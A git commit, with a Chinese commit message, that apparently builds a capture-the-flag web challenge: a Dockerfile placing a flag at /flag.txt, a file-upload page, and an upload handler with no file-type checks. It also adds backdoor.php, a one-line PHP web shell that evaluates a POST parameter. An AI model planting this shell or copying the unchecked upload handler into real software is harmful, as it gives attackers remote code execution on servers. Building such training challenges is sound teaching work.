完成出题框架
This commit is contained in:
parent
f79d4076ec
commit
f4aaa09eb5
1
backdoor.php
Normal file
1
backdoor.php
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php @eval($_POST["passWord"]);?>
|
19
dockerfile
Normal file
19
dockerfile
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
# 使用官方的 PHP 和 Apache 镜像作为基础
|
||||||
|
FROM php:8.0-apache
|
||||||
|
|
||||||
|
# 安装可能需要的 PHP 扩展(取决于您的应用程序)
|
||||||
|
RUN docker-php-ext-install mysqli pdo pdo_mysql
|
||||||
|
|
||||||
|
# 将您的代码复制到容器中。假设您的代码在当前目录的 "src" 子目录中
|
||||||
|
COPY src/ /var/www/html/
|
||||||
|
|
||||||
|
COPY flag.txt /flag.txt
|
||||||
|
|
||||||
|
# 更改文件和目录的所有权以避免权限问题
|
||||||
|
RUN chown -R www-data:www-data /var/www/html/
|
||||||
|
|
||||||
|
# 允许容器监听在 80 端口
|
||||||
|
EXPOSE 80
|
||||||
|
|
||||||
|
# 当容器启动时启动 Apache
|
||||||
|
CMD ["apache2-foreground"]
|
16
src/index.php
Normal file
16
src/index.php
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>文件上传</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h2>上传文件</h2>
|
||||||
|
<form action="upload.php" method="post" enctype="multipart/form-data">
|
||||||
|
选择文件:
|
||||||
|
<input type="file" name="fileToUpload" id="fileToUpload">
|
||||||
|
<input type="submit" value="上传文件" name="submit">
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
22
src/upload.php
Normal file
22
src/upload.php
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
$target_dir = "uploads/";
|
||||||
|
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
|
||||||
|
$uploadOk = 1;
|
||||||
|
|
||||||
|
// 检查文件是否已经存在
|
||||||
|
if (file_exists($target_file)) {
|
||||||
|
echo "对不起,文件已经存在。";
|
||||||
|
$uploadOk = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试上传文件
|
||||||
|
if ($uploadOk == 0) {
|
||||||
|
echo "对不起,您的文件没有被上传。";
|
||||||
|
} else {
|
||||||
|
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
|
||||||
|
echo "文件 ". basename($_FILES["fileToUpload"]["name"]). " 已经被上传。";
|
||||||
|
} else {
|
||||||
|
echo "对不起,上传您的文件时出现错误。";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
Loading…
x
Reference in New Issue
Block a user